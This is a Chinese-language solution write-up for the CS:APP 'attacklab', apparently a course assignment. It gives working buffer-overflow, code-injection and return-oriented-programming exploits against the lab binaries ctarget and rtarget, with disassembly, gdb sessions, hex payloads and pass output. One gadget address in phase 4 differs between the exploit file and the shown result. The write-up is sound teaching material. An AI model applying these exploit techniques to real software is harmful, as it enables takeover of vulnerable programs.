使用objdump -d ctarget > ctarget.dis
命令把可执行程序ctarget的反汇编代码保存到ctarget.dis文件里。再用vim打开ctarget.dis文件,从中得到下图。图中可知,函数touch1的起始地址在0x4017c0。
下图是getbuf的汇编代码,首先分配了40(0x28)个字节的栈空间。也就是说当输入字符串大于40个字节时会覆盖函数getbuf的返回地址。
建立exploit1.txt,具体内容如下图所示。需要注意的是采用小端字节排序。
输入命令cat exploit1.txt | ./hex2raw | ./ctarget -q
得到结果:
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00
touch2的c语言代码如下,从中可知比较的是touch2的输入参数和cookie值是否一样。题目要求我们设计攻击代码是的val值为cookie值。
void touch2(unsigned val){
vlevel = 2;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
touch2的汇编代码如下所示。函数touch2的起始地址为0x4017ec。
实验phase_1告诉我们怎么通过栈溢出跳转到指定的无参数函数,phase_2则是在phase_1的基础上跳转到带参数的函数中。需要如下编写汇编代码,把cookie值传入到%rdi。
movq $0x59b997fa,%rdi /* 0x59b997fa是本次实验的cookie值 */
push $0x4017ec /* 把touch2的首地址压栈 */
ret /* 使用ret指令,把控制流跳转到函数touch2中 */
在shell中输入:
gcc -c jmp_touch2.s
objdump -d jmp_touch2.o > jmp_touch2.dis
jmp_touch2.dis文件内容:
根据 jmp_touch2.dis,可写出攻击代码,并保存为exploit2.txt 文件。
从上图知道攻击代码首地址为0x5561dc90,这个值需要gdb调式得到,具体命令如下。
(gdb) d
Delete all breakpoints? (y or n) Please answer y or n.
Delete all breakpoints? (y or n) y
(gdb) b test
Breakpoint 7 at 0x401968: file visible.c, line 90.
(gdb) r -q
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/paul/csapp_homework/attacklab/ctarget -q
Cookie: 0x59b997fa
Breakpoint 7, test () at visible.c:90
90 in visible.c
(gdb) i f
Stack level 0, frame at 0x5561dcb8:
rip = 0x401968 in test (visible.c:90); saved rip 0x401f24
called by frame at 0x55685ff8
source language c.
Arglist at 0x5561dca8, args:
Locals at 0x5561dca8, Previous frame's sp is 0x5561dcb8
Saved registers:
rip at 0x5561dcb0
(gdb) p/x 0x5561dca8-24
$20 = 0x5561dc90
cat exploit2.txt | ./hex2raw | ./ctarget -q
结果有:
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 90 DC 61 55 00 00 00 00
这关缓冲区溢出攻击,使得控制流指向函数touch3(输入是一字符串)。下面是代码:
touch3的输入参数是一个指针变量(即为内存地址),使用gdb调式得到这个地址量,具体操作如下所示。
其中详细解释见info frame含义解释。可知函数test输入参数所在的内存地址为0x5561dca8
在touch3函数中调用了hexmatch函数,这个函数的功能是匹配cookie和传进来的字符是否匹配。在本文中cookie的值是0x59b997fa,所以我们传进去的参数应该是"59b997fa",(即 35 39 62 39 39 37 66 61 00
)。s的位置是随机的,所以之前留在getbuf中的数据,则有可能被hexmatch所重写,所以放在getbuf中并不安全。为了安全起见,我们把字符串放在getbuf的父栈帧中,也就是test栈帧中。touch3起始地址为0x4018fa,模仿第二关的操作,先写出攻击代码的汇编:
movq $0x5561dca8,%rdi /* 指向字符串的首地址 */
push $0x4018fa /* touch3首地址 */
ret
结果:
$ cat exploit3.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3(“59b997fa”)
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 90 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
这关用ROP攻击touch2函数。实验要求只能使用movq 、popq、 ret、 nop
的gadget,和使用前八个x86-64寄存器(%rax–%rdi)来构建解决方案。实验进一步要求只在函数start_farm和mid_farm两者之间的范围内中找gadget。下面是包含本关所用gadget的汇编代码:
0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 retq
000000000040199a <getval_142>:
40199a: b8 fb 78 90 90 mov $0x909078fb,%eax
40199f: c3 retq
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
00000000004019ae <setval_237>:
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 retq
00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 retq
00000000004019bc <setval_470>:
4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
4019c2: c3 retq
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
00000000004019d0 <mid_farm>:
4019d0: b8 01 00 00 00 mov $0x1,%eax
4019d5: c3
查实验手册知,movq S, D的机器码以48 89
开头。popq机器码以5
开头,movl S, D机器码以89
开头,ret的机器码是c3
,nop的机器码是90
。我们需要的汇编代码如下:
popq %rax /* 58 */
ret
movq %rax,%rdi /* 48 89 c7 */
ret /* c3 */
针对popq %rax
找到了如下汇编代码片段,则指令地址为0x4019ab。
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
针对movq %rax,%rdi
,找到了如下汇编代码片段,则相应指令地址为0x4019c5。
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
则可写出下面的攻击代码:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 缓冲区溢出 */
ab 19 40 00 00 00 00 00 /* 覆盖原先的返回值,跳转执行popq %rax;ret;指令 */
fa 97 b9 59 00 00 00 00 /* cookie值 */
c5 19 40 00 00 00 00 00 /* 指向movq %rax,%rdi;ret指令地址 */
ec 17 40 00 00 00 00 00 /* touch2 */
使用命令cat exploit4.txt | ./hex2raw | ./rtarget -q
,得结果:
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
从下面代码找8个gadget,利用ROP方法重做phase_3。
0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 retq
000000000040199a <getval_142>:
40199a: b8 fb 78 90 90 mov $0x909078fb,%eax
40199f: c3 retq
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
00000000004019ae <setval_237>:
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 retq
00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 retq
00000000004019bc <setval_470>:
4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
4019c2: c3 retq
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
00000000004019d0 <mid_farm>:
4019d0: b8 01 00 00 00 mov $0x1,%eax
4019d5: c3 retq
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 retq
00000000004019e1 <setval_296>:
4019e1: c7 07 99 d1 90 90 movl $0x9090d199,(%rdi)
4019e7: c3 retq
00000000004019e8 <addval_113>:
4019e8: 8d 87 89 ce 78 c9 lea -0x36873177(%rdi),%eax
4019ee: c3 retq
00000000004019ef <addval_490>:
4019ef: 8d 87 8d d1 20 db lea -0x24df2e73(%rdi),%eax
4019f5: c3 retq
00000000004019f6 <getval_226>:
4019f6: b8 89 d1 48 c0 mov $0xc048d189,%eax
4019fb: c3 retq
00000000004019fc <setval_384>:
4019fc: c7 07 81 d1 84 c0 movl $0xc084d181,(%rdi)
401a02: c3 retq
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 retq
0000000000401a0a <setval_276>:
401a0a: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi)
401a10: c3 retq
0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 retq
0000000000401a18 <getval_345>:
401a18: b8 48 89 e0 c1 mov $0xc1e08948,%eax
401a1d: c3 retq
0000000000401a1e <addval_479>:
401a1e: 8d 87 89 c2 00 c9 lea -0x36ff3d77(%rdi),%eax
401a24: c3 retq
0000000000401a25 <addval_187>:
401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax
401a2b: c3 retq
0000000000401a2c <setval_248>:
401a2c: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi)
401a32: c3 retq
0000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
401a38: c3 retq
0000000000401a39 <addval_110>:
401a39: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax
401a3f: c3 retq
0000000000401a40 <addval_487>:
401a40: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax
401a46: c3 retq
0000000000401a47 <addval_201>:
401a47: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax
401a4d: c3 retq
0000000000401a4e <getval_272>:
401a4e: b8 99 d1 08 d2 mov $0xd208d199,%eax
401a53: c3 retq
0000000000401a54 <getval_155>:
401a54: b8 89 c2 c4 c9 mov $0xc9c4c289,%eax
401a59: c3 retq
0000000000401a5a <setval_299>:
401a5a: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)
401a60: c3 retq
0000000000401a61 <addval_404>:
401a61: 8d 87 89 ce 92 c3 lea -0x3c6d3177(%rdi),%eax
401a67: c3 retq
0000000000401a68 <getval_311>:
401a68: b8 89 d1 08 db mov $0xdb08d189,%eax
401a6d: c3 retq
0000000000401a6e <setval_167>:
401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)
401a74: c3 retq
0000000000401a75 <setval_328>:
401a75: c7 07 81 c2 38 d2 movl $0xd238c281,(%rdi)
401a7b: c3 retq
0000000000401a7c <setval_450>:
401a7c: c7 07 09 ce 08 c9 movl $0xc908ce09,(%rdi)
401a82: c3 retq
0000000000401a83 <addval_358>:
401a83: 8d 87 08 89 e0 90 lea -0x6f1f76f8(%rdi),%eax
401a89: c3 retq
0000000000401a8a <addval_124>:
401a8a: 8d 87 89 c2 c7 3c lea 0x3cc7c289(%rdi),%eax
401a90: c3 retq
0000000000401a91 <getval_169>:
401a91: b8 88 ce 20 c0 mov $0xc020ce88,%eax
401a96: c3 retq
0000000000401a97 <setval_181>:
401a97: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi)
401a9d: c3 retq
0000000000401a9e <addval_184>:
401a9e: 8d 87 89 c2 60 d2 lea -0x2d9f3d77(%rdi),%eax
401aa4: c3 retq
0000000000401aa5 <getval_472>:
401aa5: b8 8d ce 20 d2 mov $0xd220ce8d,%eax
401aaa: c3 retq
0000000000401aab <setval_350>:
401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
401ab1: c3 retq
0000000000401ab2 <end_farm>:
401ab2: b8 01 00 00 00 mov $0x1,%eax
401ab7: c3 retq
401ab8: 90 nop
401ab9: 90 nop
401aba: 90 nop
401abb: 90 nop
401abc: 90 nop
401abd: 90 nop
401abe: 90 nop
401abf: 90 nop
首先要以一种巧妙的方法引入字符串的地址,从上述代码中找到了一行gadgets,即4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
。现在就是找到合适的gadgets,把合适的值转到寄存器%rdi和%rsi中。具体解体思路如下:
1)
首先获取到%rsp的地址,并且传送到%rdi,汇编代码为:
movq %rsp,%rax /* 机器码为:0x48 89 e0 */
在rtarget汇编代码查找得:
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 retq
此时可知这个gadget的首地址为0x401a06。
2)movq %rax,%rdi
(机器码为:0x48 89 c7)
此时可知这个gadget的首地址为0x4019c5。
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
3) popq %rax
(机器码:0x58)
由下可知,gadget首地址为0x4019cc。
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
4)movl %eax,%edx
(机器码为:0x89 c2 )
由下可知,gadget首地址为0x4019dd
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 retq
5)movl %edx,%ecx
(机器码为:0x89 d1)
由下可知,gadget首地址为0x401a69。
0000000000401a68 <getval_311>:
401a68: b8 89 d1 08 db mov $0xdb08d189,%eax
401a6d: c3 retq
6)movl %ecx,%esi
(机器码为:0x89 ce )
由下可知,gadget首地址为0x401a13。
0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 retq
7)lea (%rdi,%rsi,1),%rax
由下可知,gadget首地址为0x4019d6。
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
8)movq %rax,%rdi
(机器码为:0x48 89 c7)
由下可知,gadget首地址为0x4019c5。
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
最后,可写出攻击代码:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 缓冲区溢出 */
06 1a 40 00 00 00 00 00 /* 覆盖原先的返回值,跳转执行movq %rsp,%rax */
c5 19 40 00 00 00 00 00 /* movq %rax,%rdi */
cc 19 40 00 00 00 00 00 /* popq %rax */
48 00 00 00 00 00 00 00 /* 偏移量 9*8=72字节 */
dd 19 40 00 00 00 00 00 /* movl %eax,%edx */
69 1a 40 00 00 00 00 00 /* movl %edx,%ecx */
13 1a 40 00 00 00 00 00 /* movl %ecx,%esi */
d6 19 40 00 00 00 00 00 /* lea (%rdi,%rsi,1),%rax */
c5 19 40 00 00 00 00 00 /* movq %rax,%rdi */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 /* touch3的输入字符串 */
00 00 00 00 00 00 00 00
结果为:
Cookie: 0x59b997fa Type string:Touch3!: You called touch3(“59b997fa”)
Valid solution for level 3 with target rtarget PASS: Would have posted
the following: user id bovik course 15213-f15 lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 CC
19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00
69 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00
00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37
66 61 00 00 00 00 00 00 00 00